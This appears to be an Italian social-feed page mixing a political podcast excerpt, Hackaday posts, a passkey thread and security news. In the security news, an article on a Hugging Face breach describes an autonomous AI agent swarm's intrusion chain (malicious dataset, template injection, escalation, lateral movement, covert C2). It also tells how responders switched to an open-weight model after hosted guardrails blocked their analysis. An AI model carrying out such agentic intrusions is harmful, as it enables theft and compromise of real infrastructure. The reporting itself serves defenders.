E non solo, ma poiché le richieste di accesso ai dati sono segrete, il diritto di rivalsa richiesto dalla legge europea è puramente teorico, nel senso che un cittadino europeo non ha nemmeno diritto a essere ascoltato o a un proprio avvocato, ma il verdetto, rigorosamente senza motivazione, gli viene comunicato ex post.

Come se non bastasse, la supposta corte indipendente che decide su questi temi (che in quanto supposta, come ci insegna Caparezza...) si compone al momento di un solo membro, repubblicano perché Trump ha licenziato tutti gli altri, ed è talmente indipendente da essere una emanazione del Dipartimento di Stato.

Secondo la von der Leyen questo patetico accrocchio garantisce che i dati personali degli Europei, una volta negli Stati Uniti, mantengano lo stesso livello di protezione che hanno in Europa sotto il GDPR. Io non so cosa si fumi la von der Leyen, ma è palesemente roba troppo forte per lei.

È inutile che ci mettiamo a sproloquiare di sovranità digitale se prima non riconosciamo che i dati personali europei in mano a compagnie USA hanno meno protezioni effettive che se fossero in mano a compagnie cinesi.

E infine, c'è la questione di Israele, e in generale del ruolo dell'Unione in politica estera. Specificamente, vorrei sapere se l'Unione ha una politica estera o se semplicemente facciamo quello che ordinano a Washington.

Perché se siamo tutti d'accordo che Putin è brutto e cattivo perché ha invaso l'Ucraina (ignorando spensieratamente perché lo abbia fatto e chi abbia messo il budget per arrivare a quella situazione) allora dove sono le sanzioni contro Israele per il genocidio in Palestina, e contro Israele e gli Stati Uniti per l'aggressione all'Iran?

No, perché o ci diciamo chiaramente che condanne e sanzioni si fanno o non si fanno a seconda del momento e di chi è coinvolto, e allora mi va bene. Anche Andreotti diceva che le leggi si applicano per i nemici e si interpretano per gli amici. Ma se a Settembre ancora sento la litania dei valori allora mi riservo il diritto di pernacchia.

Nello specifico, vorrei che l'Unione facesse almeno un piccolo passo e revocasse l'accordo di collaborazione commerciale con Israele, a fronte del genocidio conclamato in Palestina. Sarebbe poco, ma sarebbe un gesto, visto che la Commissione si fa vanto di difendere i valori assoluti dei diritti umani e dell'autodeterminazione dei popoli quando si tratta dei bianchi ucraini ma poi misteriosamente adotta una stretta realpolitik quando si tratta delle cinquanta sfumature di marrone in Palestina e tutto il Medio Oriente e lungo le rotte dei profughi delle guerre statunitensi.

Ecco qui. Direi che se iniziamo a spuntare la lista il primo di settembre, per l'otto quando parte la stagione undici, siamo belli caldi e non rischiamo strappi e contratture.

E no, non vi saluto ancora. Qui si chiude a 42 episodi, e dal 25 Luglio all'8 Settembre, perché in Italia, fra quelle due date, non succede niente nemmeno se c'è una guerra.

Quindi a fra pochissimi giorni.


Detection of a Four-Carbon Sugar in Interstellar Space


The media in this post is not displayed to visitors. To view it, please log in.

Although life tends to find a way, something first has to kickstart said lifeforms. Exactly how the first biological cells formed on Earth – and potentially on other worlds – remains an enduring mystery. Some theories point to the early Earth’s surface conditions as a viable laboratory for the self-assembly of the first viable membranes, RNA, DNA and associated molecular machinery, while seeding of the Earth’s primitive atmosphere by sugars and other precursors from asteroids and kin is required in other theories.

Recently [Izaskun Jiménez-Serra] et al. added to this debate with the reported detection of four-carbon sugars in the form of erythrulose in the interstellar medium. Using the 40 meter radio telescope at Yebes and the 30 meter radio telescope at Granada the signatures of this sugar was detected in a molecular cloud near the center of the Milky Way.

These sugars likely form on these interstellar dust grains from more basic two-carbon aldehydes and alcohols, with them providing conceivably a source of energy for early metabolic processes of developing lifeforms. This specific type of sugar is highly prevalent in Earth’s fruits, and thus its prevalence in interstellar space is at the very least an interesting coincidence, if not another puzzle piece in the overarching question of abiogenesis.


hackaday.com/2026/07/20/detect…

Cybersecurity & cyberwarfare ha ricondiviso questo.

Passkeys can be stored just like password hashes!

I'm proposing an interoperable $webauthn$v=1$… format, and a Go API that uses these passkey records for authentication.

I'm looking for feedback before proposing this as crypto/passkey for Go 1.28!

words.filippo.io/passkey-recor…

in reply to Shaoyu

It's public key cryptography, not a simple password. The private data is not sent over the wire, so it can't be stolem. I would like to have public key cryptography in use for authentication, though I have one major and one minor reservation with passkeys.

The major reservation is remote attestation: the party that I'm authenticating with should have no idea what device I'm using, as long as it follows protocol. I don't feel comfortable using a protocol with provisions for this; large tech companies have shown that they're not to be trusted, especially where there's an opportunity for lock-in.

The minor reservation is the difficulty of backup and recovery. (If the major reservation is resolved, I can run a non-standard passkey agent that backs up the way I want, so this is only an issue if someone has protocol support for constraining the devices I can use)

For me, any doors for attestation are a deal breaker. Drop that from the spec, and I would advocate for passkeys without reservations.

CC: @filippo@abyssdomain.expert @shaoyu@mastodon.social

Questa voce è stata modificata (6 giorni fa)
in reply to ori

@ori Thanks ori! Never knew passkeys were public key (always thought it was password limited to 6 numbers...)

From your description, it seems that the addition of device_id is the reason why it's claimed to be slightly more phishing resistant.

However, I think for it to truly improve on anti-phishing, it should also add the domain_name. I wonder if you know that's the case?

Small question: the anti-phishing stems from the hashing of device_id. What benefits does the public key bring?

@ori
in reply to Filippo Valsorda

I would still be much more comfortable if the spec was updated to remove support. Hypothetical bad behavior by companies has an unpleasant tendency to become actual, especially if there's a way to use it for additional lock-in.

I don't think it's worth prioritizing holding on to a dead feature over removing things that make adopters uncomfortable.

CC: @shaoyu@mastodon.social @filippo@abyssdomain.expert

Sail Virtually Aboard the “Itanic” with IA-64 Emulator


The media in this post is not displayed to visitors. To view it, please log in.

Intel’s Itanium architecture was an interesting experiment, but it has gone down in history as one of the chip giant’s bigger flops, so much so that it earned the name “Itanic” in the tech press. This is perhaps unfair, considering it did limp on until a quiet EOL in 2020. We didn’t know anyone missed it, but perhaps it was more the technical challenge than nostalgia for obsolete server hardware that led [Yufeng Gao] and [gdwnldsKSC] to spin up an instruction-set translator for the late, lamented, IA-64 architecture.

Note that it’s very much in alpha, version 0.1, so don’t expect all the things. Neither HP-UX and OpenVMS will boot, which is a pity since Itanium’s great success was arguably winning those OSes and thereby killing the bespoke architectures HP and DEC had at the time. Gentoo can get to a shell, as long as you use Kernel 6.6 or older, and Windows Server 2003 and XP-64 both apparently boot.

It’s not incredibly performant, with 486-level speeds when running on Ryzen 5000 series hardware, but then, it is a 64-bit hardware being emulated here, and pretty weird hardware at that. Itanium’s Very Long Word Instruction architecture was notoriously hard to program well. Specifically, it was hard to compile optimized programs for, so we expect optimizing an emulator is going to be similarly difficult. That’s why this is so impressive, even at this early stage.

The late, unlamented Itanium is probably one of the few systems not in the Virtual OS Museum, but perhaps eventually this project will change that.

via Raymii.org


hackaday.com/2026/07/20/sail-v…

Cybersecurity & cyberwarfare ha ricondiviso questo.

È morto Daniele Compatangelo, il giornalista di La7 dell’intervista a Trump


Probabilmente per un malore: aveva 50 anni e una grande recente notorietà per il caso diplomatico con Meloni

Daniele Compatangelo, il giornalista di La7 che a giugno aveva fatto l’intervista telefonica al presidente degli Stati Uniti Donald Trump che aveva portato al secondo e più grave caso diplomatico con il governo italiano di Giorgia Meloni.

@giornalismo

ilpost.it/2026/07/20/morto-gio…

Cybersecurity & cyberwarfare ha ricondiviso questo.

❗ Campagna StopChatControl.it

L'attivismo continua e con alcune interazioni sul forum, è arrivato il primo materiale e le prime iniziative civiche per fare rumore, generale e locale!

Diffondete e condividete
#STOPChatControl

forum.ransomfeed.it/d/5173-pro…

Echolocation for Drones


The media in this post is not displayed to visitors. To view it, please log in.

A quadcopter with a clear, U-shaped shield up front and red propellers navigates between a close stand of moss-covered trees.

Bats are remarkable creatures, able to fly at night or inside the confines of caves without light to guide their way. A team of researchers at Worcester Polytechnic Institute (WPI) has determined how to use low power ultrasonic sensors to guide drones in obscured environments.

While radar, lidar, and GPS are all great for navigation and sensing, they can run into issues when light is obscured or can take too much power to be practical for the limited battery life of a drone. The researchers found that a dual sonar array could be used to implement a much lower power sensing system for a drone that performs well in environments that would stymie a computer vision system.

A shield placed behind the array cuts down on the sound of the propellers that would otherwise drown out the signal, and further signal analysis via a neural net separates the echoes of objects in front of the drone from the background. The prototype could navigate in various simulated environments like forests, smoke, and snow. It looks like it even got a chance to go for a flight in the actual woods. All the code and hardware designs are Open Source, so have at it!

We’ve covered mosquito-inspired drone sensors before, and if you want to get into echolocation yourself, apparently humans can learn to do it too.

youtube.com/embed/RiHRGeWW9Ck?…

via Entertainment Engineering.


hackaday.com/2026/07/20/echolo…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Un ordine su Uber Eats incastra la banda dietro i giochi-malware PirateFi e BlockBlasters su Steam
#CyberSecurity
insicurezzadigitale.com/un-ord…

@informatica


Un ordine su Uber Eats incastra la banda dietro i giochi-malware PirateFi e BlockBlasters su Steam


Si parla di:
Toggle

Per quasi due anni un gruppo criminale ha pubblicato su Steam videogiochi apparentemente innocui — tra cui BlockBlasters, Dashverse, Lunara e PirateFi — che nascondevano malware capace di svuotare i portafogli cripto delle vittime. Il 15 luglio 2026 l’FBI ha arrestato il primo membro pubblicamente noto dell’operazione: Zyaire Dontaevious Zamarion Wilkins, 21 anni, di North Lauderdale, Florida, noto online come Sibel.eth. A incastrarlo non è stata un’indagine sulla blockchain, ma un dettaglio molto più terreno: un ordine di cibo a domicilio pagato con una gift card comprata con Bitcoin rubato.

Uno schema attivo da maggio 2024


Secondo la denuncia penale di 15 pagine depositata a Seattle — sede scelta non a caso, essendo la città più vicina al quartier generale di Valve a Bellevue — lo schema ha infettato circa 8.000 dispositivi e sottratto almeno 220.000 dollari da circa 80 portafogli di criptovalute, tra maggio 2024 e febbraio 2026. Il tasso di successo, poco sopra l’1% dei dispositivi infettati, non è casuale: gli otto giochi elencati nell’atto d’accusa venivano promossi su Discord, Telegram, X e LinkedIn, e i complici usavano bot per identificare utenti con portafogli cripto consistenti e contattarli direttamente, invece di affidarsi alla sola diffusione di massa.

Wilkins, secondo l’accusa, non ha scritto il malware ma ne ha finanziato lo sviluppo e curato la promozione. Chat Signal sequestrate a casa dello sviluppatore del malware — non identificato nell’atto d’accusa e a oggi non incriminato — collegano Wilkins, sotto lo pseudonimo Sibel.eth, a un pagamento di 10.000 dollari per l’acquisto di un trojan ad accesso remoto (RAT) e a discussioni su come indurre le vittime ad approvare transazioni che ne svuotavano i portafogli.

Il precedente di BlockBlasters e i fondi di beneficenza rubati


Non è la prima volta che questo cluster di giochi malevoli fa notizia. I ricercatori ZachXBT e il collettivo vx-underground avevano già stimato che il solo BlockBlasters avesse sottratto oltre 150.000 dollari a un numero di vittime compreso tra 261 e 478, incluso un episodio particolarmente odioso nel settembre 2025: 32.000 dollari donati per curare un tumore, rubati dal portafoglio di una streamer Twitch che stava raccogliendo fondi per le proprie cure oncologiche. L’FBI aveva iniziato a cercare pubblicamente le vittime di questi giochi infetti a marzo 2026, e Steam negli ultimi due anni ha visto una serie costante di incidenti simili, incluso il caso Chemia, un gioco in accesso anticipato che nascondeva tre ceppi di malware diversi: cryptojacking, infostealer e una backdoor per installare ulteriore malware in futuro.

Dalla blockchain a Uber Eats: come è stato individuato


La parte più istruttiva del caso, dal punto di vista investigativo, è la catena di tracciamento. Gli inquirenti hanno seguito i Bitcoin rubati fino a un portafoglio dello schema che li ha convertiti in oltre 150 gift card tramite Bitrefill, un servizio che permette di acquistare buoni regalo con criptovalute. Una parte consistente di quelle gift card è stata spesa su Uber Eats. Una richiesta formale (subpoena) inviata a Uber ha permesso di collegare le gift card a un account che riceveva consegne proprio all’abitazione della famiglia Wilkins a North Lauderdale e agli indirizzi frequentati dall’indagato all’Università della Florida Occidentale.

Quando gli agenti hanno perquisito l’abitazione, una settimana prima dell’arresto, hanno sequestrato diversi dispositivi e tre seed phrase di portafogli cripto, una delle quali relativa a un wallet Monero — la criptovaluta privacy-oriented spesso usata proprio per rendere più difficile questo tipo di tracciamento. La cronologia delle transazioni di Wilkins, secondo l’atto d’accusa, mostra un flusso complessivo di 382.000 dollari in criptovalute inviate o ricevute, ben oltre i 220.000 dollari attribuiti direttamente allo schema contestato.

Timeline


  • Maggio 2024 – febbraio 2026: periodo di attività dello schema, otto giochi infetti distribuiti su Steam
  • Settembre 2025: BlockBlasters svuota il portafoglio di una streamer Twitch che raccoglieva fondi per cure oncologiche (32.000 dollari)
  • Marzo 2026: l’FBI rende pubblica la ricerca di vittime dei giochi Steam infetti
  • Inizio luglio 2026: perquisizione dell’abitazione di Wilkins a North Lauderdale, sequestro di dispositivi e seed phrase
  • 15 luglio 2026: arresto di Zyaire Wilkins e deposito della denuncia penale presso il tribunale federale di Seattle


Cosa resta aperto


Wilkins deve rispondere di cospirazione per l’ottenimento di informazioni tramite computer a scopo di profitto privato, un capo d’accusa che prevede fino a dieci anni di carcere. Ma la parte tecnica dell’operazione resta scoperta: lo sviluppatore del RAT e del malware che infettava i giochi non è nominato nell’atto d’accusa e, a oggi, non risulta incriminato, nonostante la sua abitazione sia già stata perquisita. È un pattern comune nelle indagini su cybercrime organizzato attorno alle criptovalute: chi finanzia e promuove viene identificato per primo, spesso tramite un errore operativo banale, mentre chi scrive il codice — più attento all’anonimato tecnico ma non necessariamente a quello finanziario — richiede più tempo.

Per i difensori, il caso conferma due lezioni già note ma sistematicamente ignorate: primo, la promozione mirata via bot verso utenti con portafogli consistenti rende inefficaci le difese basate solo sul volume di download o sulle recensioni Steam; secondo, ogni conversione di criptovaluta rubata in un servizio che tocca il mondo reale — gift card, delivery, e-commerce — riapre una superficie di tracciamento che l’uso di Monero a monte non riesce a chiudere del tutto. Per chi acquista giochi indie su Steam, resta valida la raccomandazione di isolare il portafoglio cripto su un dispositivo separato da quello usato per il gaming, e di trattare con sospetto qualsiasi titolo nuovo che chieda permessi di sistema non giustificati dal gameplay.

Indicatori e riferimenti del caso

Indagato: Zyaire Dontaevious Zamarion Wilkins, 21 anni, North Lauderdale (FL)
Alias online: Sibel.eth
Capo d'imputazione: cospirazione per ottenimento di informazioni tramite computer
                     a scopo di profitto privato (fino a 10 anni)
Foro competente: Tribunale federale di Seattle, WA

Giochi Steam associati allo schema:
BlockBlasters, Dashverse, Lunara, PirateFi (+ 4 titoli aggiuntivi non ancora resi noti)

Canali di promozione: Discord, Telegram, X, LinkedIn
Servizio di conversione: Bitrefill (BTC -> gift card, 150+ carte, prevalenza Uber Eats)
Wallet sequestrati: 3 seed phrase, incl. 1 wallet Monero
Flusso cripto totale osservato sul conto dell'indagato: ~382.000 USD
Perdite attribuite allo schema: ~220.000 USD da ~80 wallet, ~8.000 dispositivi infetti

Fonti: denuncia penale depositata presso il tribunale federale di Seattle, prima riportata da WPLG Local 10; ricostruzione tecnica di Tom’s Hardware (17 luglio 2026); dati sulle perdite di BlockBlasters da ZachXBT e vx-underground.

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Hugging Face violata da un agente AI autonomo: quando l’attaccante non ha bisogno di un umano
#CyberSecurity
insicurezzadigitale.com/huggin…

@informatica


Hugging Face violata da un agente AI autonomo: quando l’attaccante non ha bisogno di un umano


Si parla di:
Toggle

Per la prima volta un fornitore di infrastruttura AI ammette pubblicamente di essere stato violato da un attacco condotto end-to-end da un agente AI autonomo, senza un operatore umano al comando durante l’intrusione vera e propria. Hugging Face, il più grande repository al mondo di modelli e dataset open source, ha reso noto il 16 luglio di aver rilevato e contenuto un’intrusione nella propria infrastruttura di produzione partita da un dataset malevolo e proseguita per un intero weekend attraverso migliaia di azioni automatizzate. L’ironia non è sfuggita a nessuno: la piattaforma che ospita gran parte dell’ecosistema AI open source è stata compromessa da un attacco reso possibile proprio dall’AI agentica.

Il vettore: la pipeline di elaborazione dataset


Il punto di ingresso non è stato un endpoint applicativo generico, ma il cuore stesso del business di Hugging Face: la pipeline che processa i dataset caricati dagli utenti. Un dataset predisposto ad hoc ha sfruttato due distinti code-execution path nel sistema di elaborazione: un remote-code dataset loader (una funzionalità che consente l’esecuzione di codice personalizzato durante il caricamento di certi formati di dataset) e una vulnerabilità di template injection nella configurazione del dataset stesso. La combinazione ha permesso l’esecuzione di codice arbitrario su un processing worker — il classico “primo piede nella porta” che qualunque red teamer riconoscerebbe, solo che qui a orchestrare i passi successivi non c’era una persona.

Da quel singolo worker compromesso, l’attaccante ha scalato privilegi fino ad accesso a livello di nodo, raccolto credenziali cloud e di cluster, e si è mosso lateralmente in diversi cluster interni nell’arco di un intero fine settimana — la finestra temporale preferita da chi attacca infrastrutture aziendali, quando il personale di sicurezza è ridotto e la reattività cala. Hugging Face ha successivamente confermato l’accesso non autorizzato a un insieme limitato di dataset interni e a diverse credenziali di servizio, ma nessuna evidenza di manomissione di modelli, dataset o Spaces pubblici, e la supply chain software (immagini container, pacchetti pubblicati) è risultata pulita.

Uno sciame di sandbox, non uno script


Ciò che distingue questo incidente da un normale attacco automatizzato è la scala e l’autonomia dell’orchestrazione. Secondo Hugging Face, la campagna è stata condotta da un framework di agenti autonomi — verosimilmente costruito su un harness da security research agentico, anche se il modello linguistico usato dall’attaccante resta sconosciuto — capace di eseguire migliaia di azioni individuali distribuite su uno sciame di sandbox effimere, con un’infrastruttura di comando e controllo self-migrating ospitata su servizi pubblici legittimi (una tecnica di “living off trusted services” che rende il traffico C2 difficile da distinguere da normale attività cloud). È esattamente lo scenario dell'”agentic attacker” che l’industria della sicurezza discute da mesi come previsione teorica, qui osservato per la prima volta in produzione contro un target reale.

La caccia forense: quando i guardrail bloccano i difensori


La parte più istruttiva della disclosure riguarda la risposta all’incidente. Il rilevamento iniziale è arrivato da una pipeline di anomaly-detection che usa LLM per il triage della telemetria di sicurezza: è stata la correlazione automatica dei segnali a far scattare l’allarme. Per ricostruire cosa avesse fatto realmente lo sciame di azioni automatizzate, il team ha fatto girare agenti di analisi LLM sull’intero log delle azioni dell’attaccante — oltre 17.000 eventi registrati — per ricostruire la timeline, estrarre indicatori di compromissione, mappare le credenziali toccate e separare l’impatto reale dalle attività diversive. Un lavoro che con metodi tradizionali avrebbe richiesto giorni, completato in poche ore.

Ma è qui che Hugging Face ha incontrato un ostacolo inatteso, e potenzialmente rilevante per ogni team di incident response che lavora con modelli commerciali “hosted”: i primi tentativi di analisi con modelli frontier dietro API commerciali sono falliti, perché le richieste — che necessariamente contenevano comandi di attacco reali, exploit payload e artefatti C2 — venivano bloccate dai guardrail di sicurezza dei provider, incapaci di distinguere un incident responder legittimo da un attaccante. La soluzione è stata spostare l’analisi forense su GLM 5.2, modello open-weight del laboratorio cinese Z.ai, eseguito sull’infrastruttura interna dell’azienda: un doppio vantaggio, perché ha sbloccato l’analisi e ha evitato che dati dell’attaccante e credenziali compromesse uscissero dal perimetro aziendale.

L’asimmetria che nessuno aveva pianificato


Hugging Face descrive questo come “un gap su cui vale la pena pianificare”: non si sa quale modello alimentasse gli agenti dell’attaccante — un modello hosted jailbreakato o uno open-weight senza restrizioni — ma in ogni caso l’attaccante non era vincolato da alcuna policy d’uso, mentre il lavoro forense legittimo dei difensori è stato bloccato proprio dai guardrail dei modelli hosted inizialmente scelti. La lezione pratica che l’azienda condivide con il settore: avere già pronto e validato, prima che scoppi un incidente, un modello capace eseguibile sulla propria infrastruttura, sia per evitare il lockout dei guardrail sia per mantenere dati e credenziali sensibili entro il proprio perimetro. Non è, precisano, un argomento contro le misure di sicurezza sui modelli hosted — è un feedback che l’azienda dice di aver già condiviso con i provider coinvolti.

Timeline dell’incidente


  • Settimana del 6 luglio 2026: rilevamento dell’intrusione nella pipeline di elaborazione dataset tramite anomaly-detection basata su LLM.
  • Weekend successivo al primo accesso: escalation di privilegi, raccolta di credenziali cloud/cluster, movimento laterale su più cluster interni condotto dallo sciame di agenti autonomi.
  • 16 luglio 2026: pubblicazione della disclosure ufficiale sul blog Hugging Face, con dettaglio tecnico del vettore e delle contromisure adottate.
  • Contestualmente: chiusura dei code-execution path usati come accesso iniziale, rotazione precauzionale di credenziali e token, rafforzamento degli admission control sui cluster, coinvolgimento di specialisti forensi esterni e notifica alle forze dell’ordine.


Due righe per i difensori


Questo incidente non è solo una curiosità tecnica: ridefinisce cosa significa “superficie di attacco” per qualunque piattaforma che elabora contenuti generati da utenti tramite pipeline automatizzate, AI o non AI.

  • Trattare ogni pipeline di data processing che esegue codice fornito dall’utente (loader personalizzati, plugin, configurazioni con logica di templating) come superficie di attacco di prima classe, non come funzionalità di prodotto neutra.
  • Validare in anticipo — prima di un incidente — un modello LLM eseguibile on-premise o in ambiente isolato per l’analisi forense, così da non dipendere da provider commerciali i cui guardrail possono bloccare legittime attività di incident response.
  • Assumere che attacchi “a sciame” con orchestrazione agentica possano operare a velocità e scala superiori a quelle di un operatore umano, e dimensionare di conseguenza i tempi di detection e risposta: Hugging Face cita l’obiettivo di allertare un responder “in pochi minuti, in qualsiasi giorno della settimana”.
  • Segmentare rigorosamente i processing worker dal resto del cluster e limitare il raggio d’azione di credenziali cloud raccolte da un singolo nodo compromesso, per contenere il movimento laterale anche quando l’accesso iniziale non può essere prevenuto al 100%.


Indicatori e dettagli tecnici noti

Target: infrastruttura di produzione Hugging Face (dataset processing pipeline)
Vettore iniziale: dataset malevolo caricato dall'utente
Tecniche di code execution: remote-code dataset loader + template injection in dataset config
Escalation: da worker compromesso a node-level access
Post-exploitation: raccolta credenziali cloud/cluster, movimento laterale multi-cluster
Durata campagna attiva: un intero weekend
Orchestrazione: framework di agenti autonomi, presumibile harness di security-research agentico
Infrastruttura C2: self-migrating, ospitata su servizi pubblici legittimi
Eventi registrati nel log dell'attaccante: 17.000+
Impatto confermato: accesso non autorizzato a dataset interni limitati e a credenziali di servizio
Impatto escluso: nessuna manomissione di modelli/dataset/Spaces pubblici; supply chain software verificata pulita
Strumento di analisi forense: GLM 5.2 (Z.ai, open-weight), eseguito su infrastruttura interna
Contatto per segnalazioni: security@huggingface.co

Hugging Face raccomanda a chi utilizza la piattaforma di ruotare i propri access token e rivedere l’attività recente sui rispettivi account. L’azienda ha inoltre chiarito di stare ancora completando la valutazione di eventuali impatti su dati di partner o clienti, con notifiche dirette previste per le parti coinvolte.

A Feature-Rich Drum Machine


The media in this post is not displayed to visitors. To view it, please log in.

A little over a month ago, we featured a project from [Igor] who built 64 bits of DRAM from scratch using discrete components. Jokes about memory pricing aside, he did have a use case for such a small amount of memory — he is using it in a custom-built drum machine. But featuring the memory build and not the drum machine was perhaps putting the cart before the horse, so in this video, [Igor] shows off the construction of each part of his impressive 16- or 64-step sequence drum machine.

This isn’t Igor’s first drum machine, either, although his previous build was a bit more limited. It had fewer steps in the sequence and didn’t quite have the range of his newer model. The upgraded version can play more steps but also includes force-sensitive drum pads based on piezo sensors and more voices (drums) as well. Each voice is built electronically using various op-amps and passive components, and [Igor] has the schematics for each of them, as well as every other part of the drum machine, for those looking to recreate any part of this on their own. There’s a lot going on in this lengthy video as well, so for the musically inclined, it’s worth taking a look in full.

Now that our horse is in the correct position in front of the cart, it’s worth going back and looking at the memory build if you missed it when it first ran. A small amount of memory makes the machine programmable rather than just playable, and truly expands the capabilities of a machine like this in the recording studio.

youtube.com/embed/0XeZAGgkflQ?…


hackaday.com/2026/07/20/a-feat…

The media in this post is not displayed to visitors. To view it, please log in.

Un ordine su Uber Eats incastra la banda dietro i giochi-malware PirateFi e BlockBlasters su Steam


@Informatica (Italy e non Italy)
L'FBI arresta Zyaire Wilkins, 21 anni, primo indagato pubblicamente noto per una rete di giochi Steam infetti (BlockBlasters, PirateFi, Dashverse, Lunara) che ha rubato 220.000 dollari da 8.000 vittime. A tradirlo,


Un ordine su Uber Eats incastra la banda dietro i giochi-malware PirateFi e BlockBlasters su Steam


Si parla di:
Toggle

Per quasi due anni un gruppo criminale ha pubblicato su Steam videogiochi apparentemente innocui — tra cui BlockBlasters, Dashverse, Lunara e PirateFi — che nascondevano malware capace di svuotare i portafogli cripto delle vittime. Il 15 luglio 2026 l’FBI ha arrestato il primo membro pubblicamente noto dell’operazione: Zyaire Dontaevious Zamarion Wilkins, 21 anni, di North Lauderdale, Florida, noto online come Sibel.eth. A incastrarlo non è stata un’indagine sulla blockchain, ma un dettaglio molto più terreno: un ordine di cibo a domicilio pagato con una gift card comprata con Bitcoin rubato.

Uno schema attivo da maggio 2024


Secondo la denuncia penale di 15 pagine depositata a Seattle — sede scelta non a caso, essendo la città più vicina al quartier generale di Valve a Bellevue — lo schema ha infettato circa 8.000 dispositivi e sottratto almeno 220.000 dollari da circa 80 portafogli di criptovalute, tra maggio 2024 e febbraio 2026. Il tasso di successo, poco sopra l’1% dei dispositivi infettati, non è casuale: gli otto giochi elencati nell’atto d’accusa venivano promossi su Discord, Telegram, X e LinkedIn, e i complici usavano bot per identificare utenti con portafogli cripto consistenti e contattarli direttamente, invece di affidarsi alla sola diffusione di massa.

Wilkins, secondo l’accusa, non ha scritto il malware ma ne ha finanziato lo sviluppo e curato la promozione. Chat Signal sequestrate a casa dello sviluppatore del malware — non identificato nell’atto d’accusa e a oggi non incriminato — collegano Wilkins, sotto lo pseudonimo Sibel.eth, a un pagamento di 10.000 dollari per l’acquisto di un trojan ad accesso remoto (RAT) e a discussioni su come indurre le vittime ad approvare transazioni che ne svuotavano i portafogli.

Il precedente di BlockBlasters e i fondi di beneficenza rubati


Non è la prima volta che questo cluster di giochi malevoli fa notizia. I ricercatori ZachXBT e il collettivo vx-underground avevano già stimato che il solo BlockBlasters avesse sottratto oltre 150.000 dollari a un numero di vittime compreso tra 261 e 478, incluso un episodio particolarmente odioso nel settembre 2025: 32.000 dollari donati per curare un tumore, rubati dal portafoglio di una streamer Twitch che stava raccogliendo fondi per le proprie cure oncologiche. L’FBI aveva iniziato a cercare pubblicamente le vittime di questi giochi infetti a marzo 2026, e Steam negli ultimi due anni ha visto una serie costante di incidenti simili, incluso il caso Chemia, un gioco in accesso anticipato che nascondeva tre ceppi di malware diversi: cryptojacking, infostealer e una backdoor per installare ulteriore malware in futuro.

Dalla blockchain a Uber Eats: come è stato individuato


La parte più istruttiva del caso, dal punto di vista investigativo, è la catena di tracciamento. Gli inquirenti hanno seguito i Bitcoin rubati fino a un portafoglio dello schema che li ha convertiti in oltre 150 gift card tramite Bitrefill, un servizio che permette di acquistare buoni regalo con criptovalute. Una parte consistente di quelle gift card è stata spesa su Uber Eats. Una richiesta formale (subpoena) inviata a Uber ha permesso di collegare le gift card a un account che riceveva consegne proprio all’abitazione della famiglia Wilkins a North Lauderdale e agli indirizzi frequentati dall’indagato all’Università della Florida Occidentale.

Quando gli agenti hanno perquisito l’abitazione, una settimana prima dell’arresto, hanno sequestrato diversi dispositivi e tre seed phrase di portafogli cripto, una delle quali relativa a un wallet Monero — la criptovaluta privacy-oriented spesso usata proprio per rendere più difficile questo tipo di tracciamento. La cronologia delle transazioni di Wilkins, secondo l’atto d’accusa, mostra un flusso complessivo di 382.000 dollari in criptovalute inviate o ricevute, ben oltre i 220.000 dollari attribuiti direttamente allo schema contestato.

Timeline


  • Maggio 2024 – febbraio 2026: periodo di attività dello schema, otto giochi infetti distribuiti su Steam
  • Settembre 2025: BlockBlasters svuota il portafoglio di una streamer Twitch che raccoglieva fondi per cure oncologiche (32.000 dollari)
  • Marzo 2026: l’FBI rende pubblica la ricerca di vittime dei giochi Steam infetti
  • Inizio luglio 2026: perquisizione dell’abitazione di Wilkins a North Lauderdale, sequestro di dispositivi e seed phrase
  • 15 luglio 2026: arresto di Zyaire Wilkins e deposito della denuncia penale presso il tribunale federale di Seattle


Cosa resta aperto


Wilkins deve rispondere di cospirazione per l’ottenimento di informazioni tramite computer a scopo di profitto privato, un capo d’accusa che prevede fino a dieci anni di carcere. Ma la parte tecnica dell’operazione resta scoperta: lo sviluppatore del RAT e del malware che infettava i giochi non è nominato nell’atto d’accusa e, a oggi, non risulta incriminato, nonostante la sua abitazione sia già stata perquisita. È un pattern comune nelle indagini su cybercrime organizzato attorno alle criptovalute: chi finanzia e promuove viene identificato per primo, spesso tramite un errore operativo banale, mentre chi scrive il codice — più attento all’anonimato tecnico ma non necessariamente a quello finanziario — richiede più tempo.

Per i difensori, il caso conferma due lezioni già note ma sistematicamente ignorate: primo, la promozione mirata via bot verso utenti con portafogli consistenti rende inefficaci le difese basate solo sul volume di download o sulle recensioni Steam; secondo, ogni conversione di criptovaluta rubata in un servizio che tocca il mondo reale — gift card, delivery, e-commerce — riapre una superficie di tracciamento che l’uso di Monero a monte non riesce a chiudere del tutto. Per chi acquista giochi indie su Steam, resta valida la raccomandazione di isolare il portafoglio cripto su un dispositivo separato da quello usato per il gaming, e di trattare con sospetto qualsiasi titolo nuovo che chieda permessi di sistema non giustificati dal gameplay.

Indicatori e riferimenti del caso

Indagato: Zyaire Dontaevious Zamarion Wilkins, 21 anni, North Lauderdale (FL)
Alias online: Sibel.eth
Capo d'imputazione: cospirazione per ottenimento di informazioni tramite computer
                     a scopo di profitto privato (fino a 10 anni)
Foro competente: Tribunale federale di Seattle, WA

Giochi Steam associati allo schema:
BlockBlasters, Dashverse, Lunara, PirateFi (+ 4 titoli aggiuntivi non ancora resi noti)

Canali di promozione: Discord, Telegram, X, LinkedIn
Servizio di conversione: Bitrefill (BTC -> gift card, 150+ carte, prevalenza Uber Eats)
Wallet sequestrati: 3 seed phrase, incl. 1 wallet Monero
Flusso cripto totale osservato sul conto dell'indagato: ~382.000 USD
Perdite attribuite allo schema: ~220.000 USD da ~80 wallet, ~8.000 dispositivi infetti

Fonti: denuncia penale depositata presso il tribunale federale di Seattle, prima riportata da WPLG Local 10; ricostruzione tecnica di Tom’s Hardware (17 luglio 2026); dati sulle perdite di BlockBlasters da ZachXBT e vx-underground.

The media in this post is not displayed to visitors. To view it, please log in.

Hugging Face violata da un agente AI autonomo: quando l’attaccante non ha bisogno di un umano


@Informatica (Italy e non Italy)
Per la prima volta un grande provider di infrastruttura AI conferma un'intrusione condotta end-to-end da un framework di agenti autonomi: dataset malevolo, escalation e movimento laterale in un intero weekend, oltre 17.000 azioni


